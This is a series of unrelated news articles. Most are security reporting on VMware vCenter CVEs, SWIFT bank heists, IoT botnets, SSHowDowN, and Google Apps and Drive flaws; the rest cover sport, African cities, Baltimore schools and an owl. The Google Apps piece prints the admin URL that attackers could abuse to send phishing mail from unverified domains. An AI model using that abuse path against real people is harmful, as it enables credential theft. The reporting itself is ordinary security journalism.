The vulnerability, tracked as CVE-2021-21972, has a CVSS score of 9.8 out of a maximum of 10, making it critical in severity.
"In our opinion, the RCE vulnerability in the vCenter Server can pose no less a threat than the infamous vulnerability in Citrix (CVE-2019-19781)," said Positive Technologies' Mikhail Klyuchnikov, who discovered and reported the flaw to VMware.
"The error allows an unauthorized user to send a specially crafted request, which will later give them the opportunity to execute arbitrary commands on the server."
With this access in place, the attacker can then successfully move through the corporate network and gain access to the data stored in the vulnerable system, such as information about virtual machines and system users, Klyuchnikov noted.
Separately, a second vulnerability (CVE-2021-21973, CVSS score 5.3) allows unauthorized users to send POST requests, permitting an adversary to mount further attacks, including the ability to scan the company's internal network and retrieve specifics about the open ports of various services.
The information disclosure issue, according to VMware, stems from an SSRF (Server Side Request Forgery) vulnerability due to improper validation of URLs in the vCenter Server plugin.
VMware has also provided workarounds to remediate CVE-2021-21972 and CVE-2021-21973 temporarily until the updates can be deployed. Detailed steps can be found here.
It's worth noting that VMware rectified a command injection vulnerability in its vSphere Replication product (CVE-2021-21976, CVSS score 7.2) earlier this month that could grant a bad actor with administrative privileges to execute shell commands and achieve RCE.
Lastly, VMware also resolved a heap-overflow bug (CVE-2021-21974, CVSS score 8.8) in ESXi's service location protocol (SLP), potentially allowing an attacker on the same network to send malicious SLP requests to an ESXi device and take control of it.
OpenSLP provides a framework to allow networking applications to discover the existence, location, and configuration of networked services in enterprise networks.
The latest fix for ESXi OpenSLP comes on the heels of a similar patch (CVE-2020-3992) last November that could be leveraged to trigger a use-after-free in the OpenSLP service, leading to remote code execution.
Not long after, reports of active exploitation attempts emerged in the wild, with ransomware gangs abusing the vulnerability to take over unpatched virtual machines deployed in enterprise environments and encrypt their virtual hard drives.
It's highly recommended that users install the updates to eliminate the risk associated with the flaws, in addition to "removing vCenter Server interfaces from the perimeter of organizations, if they are there, and allocate them to a separate VLAN with a limited access list in the internal network."
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Story highlightsNew PwC report has sought out the best cities for investors in AfricaNorth African capitals dominate, but there are signs that sub-Saharan cities will come into their own in the near future (CNN)For the first time in history over half the world's population live in cities -- more than 54% of us did in 2014.Mass urbanization is proving to be "the single most important transformation" the world is seeing in the 21st century, according to Jamal Saghir, director of sustainable development at the World Bank, and it shows no signs of letting up. By 2050, the U.N. predicts 66% of us will call a city our home.It is generally accepted that cities are the engines of economic growth, and nowhere are these engines firing harder, or populations growing faster, than in the developing world. With burgeoning higher education systems and enviably young workforces, African cities in particular are booming. Commended for their diversity, adaptability and enterprise, investors are taking note.Global auditing firm PwC has now quantified and ranked Africa's urban hubs in a new report listing the continent's top "Cities of Opportunity." Read MoreWith the caveat that only one city per country could be assessed, PwC set out ranking locations in terms of infrastructure, human capital, economics and society and demographics. North African cities dominated the top five, with Cairo claiming pole position, followed by Tunis, Johannesburg, Casablanca and Algiers. Analysts cited the age of North African cities as a determining factor, with strong infrastructure across the board, incubating an environment for human capital to thrive.However, sub-Saharan cities registered among the highest in terms of society and demographics, excelling in diversity and population growth, both useful when looking towards future investment.Indeed, the report also offered an alternative ranking, gauging the strongest trajectories in terms of investment. GDP growth, ease of doing business, attracting FDI, middle class and overall population growth all took precedent.Under these criteria, Cairo could only achieve a mid-table ranking and was the only city in the top 10 north of the Sahara. Dar es Salaam, Lusaka, Nairobi, Lagos and Accra made up the top five, suggesting a new generation of African powerhouse economies is waiting in the wings.That being said, one city's development does not preclude another's. What is certain is that the battle for economic dominance is on.Read this: Africa's 10 most prosperous countriesMore from Marketplace AfricaEditor's Note: CNN Marketplace Africa covers the macro trends impacting the region and also focuses on the continent's key industries and corporations
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(CNN)Taylor Fritz ended Rafael Nadal's perfect start to 2022 with a surprise victory in the final at Indian Wells, beating the Spaniard 6-3 7-6 to win his first Masters 1000 title.In the lead up to the biggest match of his career, Fritz had been struggling with an ankle injury sustained in his semifinal win over Andrey Rublev, but there were no signs of it hampering him on Sunday.Fritz, who became the first American to win the title in Indian Wells since Andre Agassi in 2001, now climbs to a career-high No. 8 in the world rankings."This is just one of those childhood dreams -- winning this tournament especially, Indian Wells -- this is one of those childhood dreams that you never even think could come true," an emotional Fritz said in his on-court interview. "I just keep saying: 'No, there's just no way it's real.'"I can't even begin to describe how ridiculous it is I could play like I did today. I've never experienced worse pain than that before a match. I took a couple of changes in direction with my steps and screamed. It was tough.Read More"We did a lot of work on the ankle leading up to the match. I went through a roller coaster of emotions thinking there's no way I can play. Then I went out hitting on the back courts and feeling happy, thinking I can play. It didn't affect me at all on court, so I couldn't be happier," he added.READ: Nick Kyrgios apologizes after smashed racket almost hits ball boyBoth Fritz and Nadal said they were struggling with injuries coming into the match."I've lost these matches against the big guys my whole life, it's always felt like they're just unbeatable, so to do it on the biggest stage there's no other way, you know. To win a big title, I feel like you gotta beat the best and he's unbeaten this year, and obviously, I hope hes okay."Obviously, there's some stuff going on, I can't imagine how the body is feeling after 20-something matches."Nadal came into the final on a 20-match winning streak -- his best ever start to a season -- that included his record-breaking 21st grand slam victory at the Australian Open.However, the 35-year-old was similarly struggling with injury coming into Sunday's final and was seen wincing throughout the match, regularly touching the left side of his torso.Nadal said he wanted to make his start to the season "perfect" before his transition onto clay, but an unknown problem near his rib meant he was unable to compete at his best."It [the run] has been very, very beautiful," he told reporters. "I honestly am sad because of the way I was not able to compete and it's tough to have these feelings any day, but especially in a final, it's very ugly."In sport, it's not about talking of the past, we need to talk about today and today is a difficult day for me. I have problems breathing, I don't know if it's something on the rib, I'm not sure yet and, when I am breathing and moving, it's like a needle all the time inside and I get dizzy a little bit because it's painful."It's the kind of pain that limited me a lot and it's not only about pain, it's about not feeling very well because it affects my breathing. More than [being] sad for losing, something that I accepted immediately and even before the match ends, it's about that I am suffering a little bit, honestly."
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Bangladesh is not the only bank that had become victim to the cyber heist. In fact, it appears to be just a part of the widespread cyber attack on global banking and financial sector by hackers who target the backbone of the world financial system, SWIFT.
Yes, the global banking messaging system that thousands of banks and companies around the world use to transfer Billions of dollars in transfers each day is under attack.
A third case involving SWIFT has emerged in which cyber criminals have stolen about $12 million from an Ecuadorian bank that contained numerous similarities of later attacks against Bangladesh's central bank that lost $81 Million in the cyber heist.
The attack on Banco del Austro (BDA) in Ecuador occurred in January 2015 and, revealed via a lawsuit filed by BDA against Wells Fargo, a San Francisco-based bank on Jan. 28, Reuters reported.
Here's how cyber criminals target banks:
Uses malware to circumvent local security systems of a bank.
Gains access to the SWIFT messaging network.
Sends fraudulent messages via SWIFT to initiate cash transfers from accounts at larger banks.
Over ten days, hackers used SWIFT credentials of a bank employee to modify transaction details for at least 12 transfers amounting to over $12 Million, which was transferred to accounts in Hong Kong, Dubai, New York and Los Angeles.
In the lawsuit, BDA holds Wells Fargo responsible for not spotting the fraudulent transactions and has demanded Wells Fargo to return the full amount that was stolen from the bank.
The lawsuit filed by BDA in a New York federal court described that the some of these attacks could have been prevented if banks would have shared more details about the attacks with the SWIFT organization.
Wells Fargo has also fired back and blamed BDA's information security policies and procedures for the heist and noted that it "properly processed the wire instructions received via authenticated SWIFT messages," according to court documents.
According to reports, the heist remained a secret for a long time and now disclosed when BDA decided to sue Wells Fargo that approved the fraudulent transfers.
SWIFT did not have any idea about the breach, as neither BDA nor Wells Fargo shared any detail about the attack.
"We were not aware," SWIFT said in a statement. "We need to be informed by customers of such frauds if they relate to our products and services so that we can inform and support the wider community. We have been in touch with the bank concerned to get more information, and are reminding customers of their obligations to share such information with us."
It turns out that the security of SWIFT itself was not breached in the attack, but cyber criminals used advanced malware to steal credentials of bank's employees and cover their tracks.
In February, $81 Million cyberheist at the Bangladesh central bank was carried out by hacking into SWIFT using a piece of malware that manipulated logs and erased the fraudulent transactions history, and even prevented printers from printing those transactions.
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Story highlightsRafael Nadal drops set before beating Philipp Kohlschreiber in QatarJo-Wilfried Tsonga also through to second round at ATP Tour opener Roger Federer begins 2012 campaign with easy win over Nikolay Davydenko Top seed Andy Murray needs three sets to win in Brisbane Rafael Nadal fought back from a break down in the deciding set to beat Germany's Philipp Kohlschreiber in their first round clash at the Qatar Open Tuesday.The World No.2 was extended by Kohlschreiber on a cold and windy night before winning 6-3 6-7 6-3 to kick off his 2012 campaign.Nadal took the first set but found himself 1-4 down in the second before hitting back to level. He had two break points at 5-5, but failed to take them and lost the subsequent tiebreaker.When his opponent broke him at the start of the third set an upset looked possible but the Spaniard upped his game and finished in command."I didn't have a chance to practise much, I had problems with my shoulder and knee, and arrived feeling so-so," Nadal told AFP after his season-opening win."So a victory was very important. The beginning was a bit risky but I came back well and played a bit more aggressive."Defending champion Roger Federer had an easier passage in his first round match against Nikolay Davydenko of Russia which followed.Federer, who finished 2011 on a high by winning the ATP World Tour Finals, extended his winning run to 18 with a 6-2 6-2 breeze against another former champion.The main opposition to the leading pair in Qatar looks likely to come from France's Jo-Wilfried Tsonga, as the third seed dispatched Tunisian wild card Malek Jaziri 7-6 6-7 6-1. Meanwhile, World No.4 and top seed Andy Murray also survived a first round scare at the Brisbane International Tuesday.The Scot was taken to three sets by Kazakh Mikhail Kukushkin before winning 5-7 6-3 6-2 after two and a quarter hours on the Pat Rafter Arena.Murray appeared to be hampered by injury, with his right knee bandaged and twice called for the trainer.He played down talk of injury worries ahead of the Australian Open where he lost in the final last year to Novak Djokovic."I've had a few little niggles over the past couple of weeks but they'll be gone by the Australian Open. I just need to play through them now and hopefully feel better," he told gathered reporters.
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Story highlightsUEFA has opened disciplinary action against LazioMove comes following Lazio's goalless draw at TottenhamItalian club could be hit with $42,000 fineBulgarian side Levski Sofia hit with $39,000 fineUEFA has opened disciplinary proceedings against Lazio over allegations a section of their supporters chanted racial abuse at Tottenham players in the Europa League on Thursday. Aaron Lennon, Jermain Defoe and Andros Townsend appeared to be subjected to racist abuse -- including monkey chants -- during the goalless draw at White Hart Lane, a game that was watched by UEFA president Michel Platini.Members of Football Against Racism in Football (FARE) who were at White Hart Lane plan to file reports to UEFA to assist with their investigation.Romanian referee Ovidiu Alin Hategan and match delegate Adonis Procopiu have already submitted their reports of the match's events.Tottenham held by Lazio in Europa League"UEFA has opened disciplinary proceedings against S.S. Lazio for the improper conduct of the club's supporters (racist behavior) during the UEFA Europa League group stage match on Thursday 20 September between Tottenham Hotspur FC and the Italian side," read a UEFA statement.JUST WATCHEDFinancial fair play too late for some?ReplayMore Videos ...MUST WATCHFinancial fair play too late for some? 02:52JUST WATCHEDFootless footballer to meet MessiReplayMore Videos ...MUST WATCHFootless footballer to meet Messi 02:26"The UEFA Control and Disciplinary Body will deal with the case on 18 October 2012."Lazio could be hit with a fine of $26,000 if their fans are found guilty of racial abuse, while UEFA could also force the club to play their next game behind closed doors.Racism remains "significant" problem in English footballEarlier this week Chelsea midfielder John Obi Mikel had to close his Twitter account after receiving racist abuse online.Chelsea issued a statement condemning those responsible and has informed the police following the matter.The statement read: "We've been made aware of racist tweets targeted at Mikel which are totally unacceptable, disgusting and abhorrent."We've informed the police and support taking the strongest possible action."This season UEFA has fined Bulgarian side Levski Sofia $39,000 for racist behaviour by their fans during the club's Europa League second qualifying round match.Levski fans unveiled a racist banner during their game against Bosnia & Herzegovina's Sarajevo on July 19."Fans should realise that the club is responsible for all of their extreme or irrational actions," Levski said in a statement.Meanwhile on Thursday, two AIK Solna supporters suffered stab wounds while in Naples for their side's Europa League game against Napoli. A 41-year-old and a 23-year-old were both wounded in the leg, but the club do not believe the attack was football related.
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Recently a mobile-security firm Bluebox claimed that the brand new Xiaomi Mi4 LTE comes pre-installed with spyware/adware and a "forked" vulnerable version of Android operating system on top of it, however, the company denies the claim.
Xiaomi, which is also known as Apple of China, provides an affordable and in-budget smartphones with almost all features that an excellent smartphone provides.
On 5th March, when Bluebox researchers claimed to have discovered some critical flaws in Mi4 LTE smartphone, Xiaomi issued a statement to The Hacker News claiming that "There are glaring inaccuracies in the Bluebox blog post" and that they are investigating the matter.
RESEARCHERS GET TROLLED BY CHINESE SELLERS
Now, Xiaomi responded to Bluebox Labs by preparing a lengthy denial to their claims and said the new Mi4 smartphone purchased by Bluebox team in China (known as the birthplace of fake smartphones) was not an original Xiaomi smartphone but a counterfeit product.
"We have concluded our investigation on this topic — the device Bluebox obtained is 100% proven to be a counterfeit product purchased through an unofficial channel on the streets in China," Xiaomi spokesperson told The Hacker News in an email statement. "It is therefore not an original Xiaomi product and it is not running official Xiaomi software, as Bluebox has also confirmed in their updated blog post."
This means, Mi4 LTE smartphone owned by Bluebox are tempered by the local Chinese shops itself. What the Heck! Chinese get trolled by Chinese.
XIAOMI DECLINES BLUEBOX CLAIMS
Xiaomi provided a detailed step-by-step explanation on each and every fact and figure:
Hardware: Xiaomi hardware experts have analysed the internal device photos provided to the company by Bluebox and confirmed that the physical hardware is markedly different from the original Mi 4 smartphone.
IMEI number: Xiaomi after-sales team has confirmed that the IMEI on the device from Bluebox is a cloned IMEI number which has been previously used on other counterfeit Xiaomi devices in China.
Software: Xiaomi MIUI team has also confirmed that the software installed on the device from Bluebox is not an official Xiaomi MIUI build.
The company assured its customers that their devices neither come rooted, nor have any malware pre-installed.
Contrary to Bluebox claims, the company also assured its customers that the MIUI used in their products is true Android, which means MIUI follows exact Google's Android CDD (Compatibility Definition Document), and passes all Android CTS tests to make sure a given device is fully Android compatible.
Declining to Bluebox finding, Xiaomi released the following statement in an email to The Hacker News:
As this device is not an original Xiaomi product, and not running an official Xiaomi MIUI software build, Bluebox's findings are completely inaccurate and not representative of Xiaomi devices. We believe Bluebox jumped to a conclusion too quickly without a fully comprehensive investigation (for example, they did not initially follow our published hardware verification process correctly due to language barrier) and their attempts to contact Xiaomi were inadequate, considering the severity of their accusations.
With the large parallel street market for mobile phones in China, there exists counterfeit products that are almost indistinguishable on the outside. This happens across all brands, affecting both Chinese and foreign smartphone companies selling in China. Furthermore, "entrepreneurial" retailers may add malware and adware to these devices, and even go to the extent of pre-installing modified copies of popular benchmarking software such as CPU-Z and Antutu, which will run "tests" showing the hardware is legitimate.
Xiaomi takes all necessary measures to crack down on the manufacturers of fake devices or anyone who tampers with our software, supported by all levels of law enforcement agencies in China.
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Cyber Attacks on gas pipeline linked to China
The spear-phishing attacks laying siege to networks in the natural gas pipeline industry apparently are being carried out by the same group that hacked RSA security last year. The attacks, which have been occurring since late this past March, have targeted several of the country's natural gas pipeline companies.
According to U.S. officials, it's unclear if a foreign power is trying to map the gas systems or if hackers are attempting to harm the pipelines. A previous attack on the oil and gas sector seemed to originate in China.
DHS supplied the pipeline industry and its security experts with digital signatures, or "indicators of compromise" (IOCs). Those indicators included computer file names, computer IP addresses, domain names, and other key information associated with the cyberspies, which companies could use to check their networks for signs they've been infiltrated.
DHS officials and a spokesman have acknowledged they are working with the FBI to find out who may be behind the intrusions and malicious emails. The Monitor reports that some investigators now believe that the campaign is tied to another attack last year against cybersecurity company RSA, which the head of the National Security Agency told Congress could be traced back to China.
The group responsible for the RSA attacks has also been linked to several previous hacking incidents around the globe.Politico reports that these recent attacks, combined with the devastating 2010 natural gas pipeline explosion in California, illustrate the potential dangers of the rapidly expanding gas pipeline network.
The oil and gas sector has been targeted before. In February 2011 the computer security firm McAfee discovered a computer intrusion labeled "Night Dragon" that was traced to China. As part of that attack, individuals tried to obtain sensitive data and financial documents from the oil and gas companies about bids and future drilling exploration projects.
[Source]
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Have you given shed to Zombies in your house? No???? May be you have no idea about it. After Computers, Servers, Routers, Mobiles, Tablets…. Now its turn of your home appliances to be a weapon or a victim of cyber war.
Recently Security Researchers from Proofpoint found more than 100,000 Smart TVs, Refrigerator, and other smart household appliances compromised by hackers to send out 750,000 malicious spam emails.
As the 'Internet of Things' becoming smart and popular it became an easy weapon for cyber criminals to launch large scale of cyber attacks.
"The attack that Proofpoint observed and profiled occurred between December 23, 2013 and January 6, 2014, and featured waves of malicious email, typically sent in bursts of 100,000, three times per day, targeting Enterprises and individuals worldwide."
Previously, such attacks were only drafted theoretically by researchers, but this is the first such proven attack involved smart household appliances that are used as 'thingBots'- Thing Robots.
Like your personal computers can be unknowingly compromised to built a huge botnet network that can be used to launch cyber attacks, in the similar way your Smart Household Appliances and other components of the "Internet of Things" can be transformed into slaves by the cyber criminals.
The worst thing with these smart appliances is that it can be easily approached by cyber criminals due to its 24 hour availability on the Internet with an add-on of poorly protected Internet environment i.e. Poor misconfiguration and the use of default passwords.
More than 25 percent of the volume was sent by things that were not conventional laptops, desktop computers or mobile devices; instead, the emails were sent by everyday consumer gadgets such as compromised home-networking routers, connected multi-media centers, televisions and at least one refrigerator. No more than 10 emails were initiated from any single IP address, making the attack difficult to block based on location -- and in many cases, the devices had not been subject to a sophisticated compromise; instead, misconfiguration and the use of default passwords left the devices completely exposed on public networks, available for takeover and use."
Now it seems that we have 100's of cyber weapon in our home or in another way 100's of vulnerable dynamites living with us.
This time it has been just a spam mail attack, but answer me.. How much damage could a group of well-trained hackers do, economic and otherwise, if they really wanted to? Reply us your views in the comment box (below). Stay with us, Stay Safe!
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Are your internet-connected devices spying on you? Perhaps.
We already know that the Internet of Thing (IoT) devices are so badly insecure that hackers are adding them to their botnet network for launching Distributed Denial of Service (DDoS) attacks against target services.
But, these connected devices are not just limited to conduct DDoS attacks; they have far more potential to harm you.
New research [PDF] published by the content delivery network provider Akamai Technologies shows how unknown threat actors are using a 12-year-old vulnerability in OpenSSH to secretly gain control of millions of connected devices.
The hackers then turn, what researchers call, these "Internet of Unpatchable Things" into proxies for malicious traffic to attack internet-based targets and 'internet-facing' services, along with the internal networks that host them.
Unlike recent attacks via Mirai botnet, the new targeted attack, dubbed SSHowDowN Proxy, specifically makes use of IoT devices such as:
Internet-connected Network Attached Storage (NAS) devices.
CCTV, NVR, DVR devices (video surveillance).
Satellite antenna equipment.
Networking devices like routers, hotspots, WiMax, cable and ADSL modems.
Other devices could be susceptible as well.
More importantly, the SSHowDowN Proxy attack exploits over a decade old default configuration flaw (CVE-2004-1653) in OpenSSH that was initially discovered in 2004 and patched in early 2005. The flaw enables TCP forwarding and port bounces when a proxy is in use.
However, after analyzing IP addresses from its Cloud Security Intelligence platform, Akamai estimates that over 2 Million IoT and networking devices have been compromised by SSHowDowN type attacks.
Due to lax credential security, hackers can compromise IoT devices and then use them to mount attacks "against a multitude of Internet targets and Internet-facing services, like HTTP, SMTP and network scanning," and to mount attacks against internal networks that host these connected devices.
Once hackers access the web administration console of vulnerable devices, it is possible for them to compromise the device's data and, in some cases, fully take over the affected machine.
While the flaw itself is not so critical, the company says the continual failure of vendors to secure IoT devices as well as implementing default and hard-coded credentials has made the door wide open for hackers to exploit them.
"We are entering a very interesting time when it comes to DDoS and other web attacks; 'The Internet of Unpatchable Things' so to speak," said Eric Kobrin, senior director of Akamai's Threat Research team.
"New devices are being shipped from the factory not only with this vulnerability exposed but also without any effective way to fix it. We've been hearing for years that it was theoretically possible for IoT devices to attack. That, unfortunately, has now become the reality."
According to the company, at least 11 of Akamai's customers in industries such as financial services, retail, hospitality, and gaming have been targets of SSHowDowN Proxy attack.
The company is "currently working with the most prevalent device vendors on a proposed plan of mitigation."
How to Mitigate Such Attacks?
So, if you own a connected coffee machine, thermostat or any IoT device, you can protect yourself by changing the factory default credentials of your device as soon as you activate it, as well as disabling SSH services on the device if it is not required.
More technical users can establish inbound firewall rules that prevent SSH access to and from external forces.
Meanwhile, vendors of internet-connected devices are recommended to:
Avoid shipping such products with undocumented accounts.
Force their customers to change the factory default credentials after device installation.
Restrict TCP forwarding.
Allow users to update the SSH configuration to mitigate such flaws.
Since IoT devices number has now reached in the tens of billions, it's time to protect these devices before hackers cause a disastrous situation.
Non-profit organizations like MITRE has come forward to help protect IoT devices by challenging researchers to come up with new, non-traditional approaches for detecting rogue IoT devices on a network. The company is also offering up to $50,000 prize money.
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Story highlightsCaster Semenya makes first appearance at Rio 2016South African eases to 800m in heatShe has hyperandrogenism -- elevated testosterone levelsHuge support for athlete on social media (CNN)She's the South African athlete who has been at the center of fierce controversy over whether she should be allowed to compete in women's races.But Caster Semenya, who advanced to the 800 meters semifinal at Rio 2016 in a time of 1:59.31 amid huge support in her home country, hasn't let that controversy inhibit her.Congratulations to our own @caster800m Semenya who has won her heat and now qualifies for the next round of the 800m! #Caster4Gold #RSA— South African Gov (@GovernmentZA) 17 August 2016 Semenya won the world 800m title as an 18-year-old in 2009, but her triumph in Berlin quickly turned into a trauma amid scrutiny of her sex.Follow @cnnsport
In the aftermath, it emerged that she had been ordered to undergo "gender verification" by the International Association of Athletics Federations (IAAF) amid concerns over the times she had achieved. It was revealed that Semenya has hyperandrogenism -- meaning elevated testosterone levels -- and that sparked debate over whether, as an "intersex" athlete, she should be taking part in women's events.Read MoreREAD: Should a woman's testosterone levels matter?Semenya competes in the women's 800m heat at Rio 2016.Semenya won 800m silver at the 2012 Games in London, losing out to Mariya Savinova -- one of six Russian athletes who, an independent anti-doping report found, should not have been allowed to compete.That race saw the emergence of Twitter hashtag #HandsOffCaster as people rallied to her defense -- a hashtag that began trending in South Africa on Wednesday as she returned to the Olympic spotlight four years on.Fantastic to see #HandsOffCaster is top trending. Any apologists for the bigoted anthropologising and trolling of her body will be blocked.— Eusebius McKaiser (@Eusebius) 13 August 2016 The hashtag -- along with #Caster4Gold and #TeamCaster -- was used to demonstrate the groundswell of feeling in favor of the athlete.Ahead of the race, South African Minister of Sports and Recreation Fikile Mbalula tweeted that Semenya was "focused like never before" and wrote: "It's your day today, all the best."I left her in high spirits focused like never bfo, Mokgadi it's your day today all the best @caster800m pic.twitter.com/XoVbsuQQzf— RSA Min of Sport (@MbalulaFikile) 17 August 2016
He added: "South Africa stands firmly behind Caster -- unshaken. Go and show them who we are!"South African newspapers, still reveling in Wayde van Niekerk's sensational 400m final win, which saw him smash Michael Johnson's 17-year-old record, were also swift to back Semenya.It's clear where the loyalties of South Africans stand #Caster4Gold. Front page of @TimesLIVE pic.twitter.com/Q9qdZuu4az— David McKenzie (@McKenzieCNN) 17 August 2016
"Run Caster, run" the country's Times newspaper said in a front page headline, publishing a cartoon that showed Van Niekerk handing the baton of South African hopes to her.Its front page article said Semenya had been "subjected to unprecedented scrutiny and humiliation" by having to undergo gender verification.It said the row had resurfaced because her improved race timings throughout the year had made her "overwhelming favorite" to win gold in Rio.But it added: "The uproar has sparked a backlash with South Africans rallying around the Limpopo star, who refers to her critics as 'haters.'"She's a woman. Simple. #HandsOffCaster— Joe Crann (@YesWeCrann) 13 August 2016 Two years after Semenya's win in Berlin, the IAAF ruled that female athletes whose testosterone levels were above a set level would have to use medication to bring the levels down.READ MORE: 'That girl is the Olympic spirit right there'After the race in the German capital, Italian runner Elisa Cusma Piccioni said: "She is a man," while Canadian Diane Cummins described her as "on the very fringe of the normal athlete female biological composition from what I understand of hormone testing." Cummins added: "From that perspective, most of us just feel that we are literally running against a man."You strike #Caster you strike us all...#HandsOffCaster— Fatima Hassan (@_HassanF) 13 August 2016 When a 2015 Court of Arbitration for Sport decision decreed the IAAF ruling was not based on sufficient scientific foundation, Semenya was able to compete without testosterone suppression -- and the furore began all over again.Jean Verster, the coach who has worked with her since 2014, told the Guardian recently he has been "trying to protect her" from the arguments that rage.READ MORE: Haitian hurdler crashes but gets up againHe described her as "a fantastic human being, a down-to-earth person and a great athlete who is like a mother to some of the girl athletes in our group." Asked whether he expected a happy outcome for his star at Rio, he said simply: "Absolutely. We wouldn't be doing this if we didn't believe that."And on Wednesday, Semenya started proving him right.Thabile Vilakazi contributed to this report.
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(CNN)Baltimore City Public Schools announced a new grading policy Tuesday that will allow the district to move tens of thousands of students who have failed at least one class up to the next grade level. The students will be assessed in the fall to complete their missed course work during the next school year.The district said the policy was adopted in recognition of the struggles students have faced during the coronavirus pandemic. Chief Academic Officer Joan Dabrowski said it's meant to "avoid the punitive approach of failing students," according to comments during Tuesday's board meeting."This is not about a failure, but it is about unfinished learning and giving multiple opportunities, multiple onramps for young people to complete that ... learning," Baltimore City Public Schools CEO Sonja Santelises said.For high school students, a failing grade will be replaced with "No Credit," and for students in second through eighth grades, an "Unsatisfactory" or "Fail" will be replaced with "Not Completed."Students who receive these "incomplete" grades will still be able to continue on to the next grade level.Read More"In all of these instances, we want to emphasize the word 'yet'. Not completed yet, no credit yet," said Dabrowski.Baltimore educators are tracking down students to fight low virtual attendanceSixty-three percent of middle and high school students are failing at least one class according to Baltimore City Public Schools -- that's nearly 25,000 students out of the nearly 40,000 sixth through twelfth graders in the district.Even more worrying, 51% of students in grades 2-5 and 37% of Kindergarten and first-graders failed at least one course during this school year. At the start of the school year, Baltimore City Public Schools struggled with virtual class attendance, Santelises said in an interview with WYPR Baltimore Public Radio."We know that our first week daily average of logins -- in terms of, you know, students logging in daily, meaning no interruption or anything like that -- is at 65%," Santelises told host WYPR Sheliah Kast.Correction: A previous version of this story mistakenly included information about reopening plans for Baltimore County Public Schools, which is a separate system from Baltimore City schools. CNN's Rebekah Riess and Evan Simko-Bednarski contributed to this report.
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A critical vulnerability has been discovered in the Google Apps for Work that allows hackers to abuse any website's domain name based email addresses, which could then be used to send phishing emails on company's behalf in order to target users.
If you wish to have an email address named on your brand that reads like admin@yourdomain.com instead of myemail@gmail.com, then you can register an account with Google Apps for Work.
The Google Apps for Work service allows you to use Gmail, Drive storage, Calendar, online documents, video Hangouts, and other collaborative services with your team or organization.
To get a custom domain name based email service from Google, one just need to sign up like a normal Gmail account. Once created, you can access your domain's admin console panel on Google app interface, but can not be able to use any service until you get your domain verified from Google.
SENDING PHISHING MAILS FROM HIJACKED ACCOUNTS
Cyber security researchers Patrik fehrenbach and Behrouz sadeghipour found that an attacker can register any unused (not previously registered with Google apps service) domain, example: bankofanycountry.com with Google apps for Work to obtain 'admin@bankofanycountry.com' account.
But obviously, Google would not let you access email service for 'admin@bankofanycountry.com', until domain verification has been completed, which means neither you can send any email from that account, nor you can receive.
However, the duo explained The Hacker News that there is a page on Google apps that allows domain admin to send 'Sign in Instructions' to the organization users i.e. info@bankofanycountry.com (must be created from panel before proceeding) by accessing following URL directly on the browser.
https://admin.google.com/EmailLoginInstructions?userEmail=info@bankofanycountry.com
Using the compose email interface, as shown, an attacker could send any kind of phishing email containing malicious link to the target users, in an attempt to trick them into revealing their personal information including passwords, financial details or any other sensitive information.
BEFORE SECURITY PATCH
As shown below, researchers successfully obtained admin@vine.com (acquired by Twitter) and send a mail to victim, contains a subject: Welcome to Twitter, which can convince users into submitting their Twitter credentials to the given phishing pages.
Researchers reported this security and privacy issue to the search engine giant, and the company has applied, what I think, a partial patch to the flaw. As, it is still allowing an attacker to access 'Send Sign in Instructions' for unverified domains, but this time via apps-noreply@google.com, instead of the custom email address.
In an email conversation, Behrouz told The Hacker News, "Google believes that showing the sender as apps-noreply is good enough."
AFTER SECURITY PATCH
But, the consequences are still the same because it won't stop hackers from targeting victims.
Generally, Google automatically helps identify spam and suspicious emails and mark them as spam or phishing warnings, like they're from a legitimate source, such as your bank or Google, but they're not.
However, by abusing above Google vulnerability, hackers could send phishing emails right into your inbox with no warning as the email has been generated from Google's own servers.
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Another privacy issue has been discovered in Google Drive which could have led sensitive and personal information stored on the cloud service exposed to unauthorized parties.
The security flaw has now patched by Google, but its discovery indicates that the vulnerability of cloud data when accessed via a link can allow "anyone who has the link" to access your private data without any further authentication.
HOW THE SECURITY FLAW WORKS
The security hole addressed a risk to files that included a clickable URL on your cloud file sharing service.
When someone opens the file and clicks on an embedded hyperlink, then they get sent to the website of a third-party website owner.
Upon accessing this URL, unfortunately the external Internet user - an unauthorized party - could potentially access your sensitive information by accessing the original documents that included the URL.
GOOGLE EXPLANATION
Google explained the actual nature of the security flaw in a blog post published last week. The company said that the flaw only affected a "small subset of file types" in Google Drive.
The security issue is relevant only if all four of these conditions apply:
The file was uploaded to Google Drive
The file was not converted to Docs, Sheets, or Slides (i.e., remained in its original format such as .pdf, .docx, etc.)
The owner changed sharing settings so that the document was available to "anyone with the link"
The file contained hyperlinks to third-party HTTPS websites in its content
If all the above mentioned conditions applied, a user who clicked on the embedded hyperlink could have inadvertently sent header information to the administrator of the third-party websites, allowing him or her to potentially see the URL of the original document that linked to his or her site.
But Google assured its users that the newly shared documents with hyperlinks to third-party HTTPS websites, will not inadvertently relay the original document's URL.
HOW TO PROTECT YOURSELF
At the same time, If you've got any of yours previously shared documents that match any of those above four criteria, Google says you can generate a new and safe sharing link by following just three simple steps:
Create a copy of the document, via File > "Make a copy..."
Share the copy of the document with particular people or via a new shareable link, via the "Share" button
Delete the original document
The security flaw is similar to Dropbox hyperlink disclosure vulnerability discovered earlier this year by Intralinks. The hyperlink disclosure vulnerability in the Dropbox led to the exposure of personal documents and all sorts of stuff such as such as tax returns, bank records, mortgage applications, blueprints, and business plans, stored in Dropbox that you would not want to disclose.
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(CNN)Holiday overindulgence may not be an exclusively human weakness -- as a team of falconers discovered after rescuing an owl that was too fat to fly. Suffolk Owl Sanctuary in eastern England was called to rescue the female "little owl," known scientifically as athene noctua, after a concerned passerby found it sodden in a ditch.Head falconer Rufus Samkin told CNN that the team took in the owl on January 3.At first they thought she had been injured or that her flying was impeded by the fact she was wet -- but even after drying off and getting a clean bill of health, the tubby avian still struggled to fly up to the perches in the aviary. A Georgia family found an owl hiding in their Christmas treeThe team then considered whether the owl had been kept as a pet -- but it found "no evidence" of that being the case, as she refused foods commonly given to pet birds in favor of feed eaten by wild owls.Read More"It's quite relatable -- a plump owl that's overdone it," Samkin told CNN."We thoroughly examined it and found there was nothing wrong, other than it being extraordinarily overweight. It was very, very plump and very wet," he said. "Owls do have an issue with waterproofing -- so if they do get wet they can't fly as well. But this one couldn't really fly at all," he added."It was about one third bigger than the average female we'd get -- so significantly larger."In particular, the owl had lots of "fatty deposits" around its thighs and abdomen, he said.An animal shelter's adoption ad for a sassy cat: 'She's just a jerk'"When we dug a little deeper and looked into where she was found we discovered the place was crawling with wild mice. "It's been a really good year for prey species, so I think she's basically just massively overindulged, got really plump, and 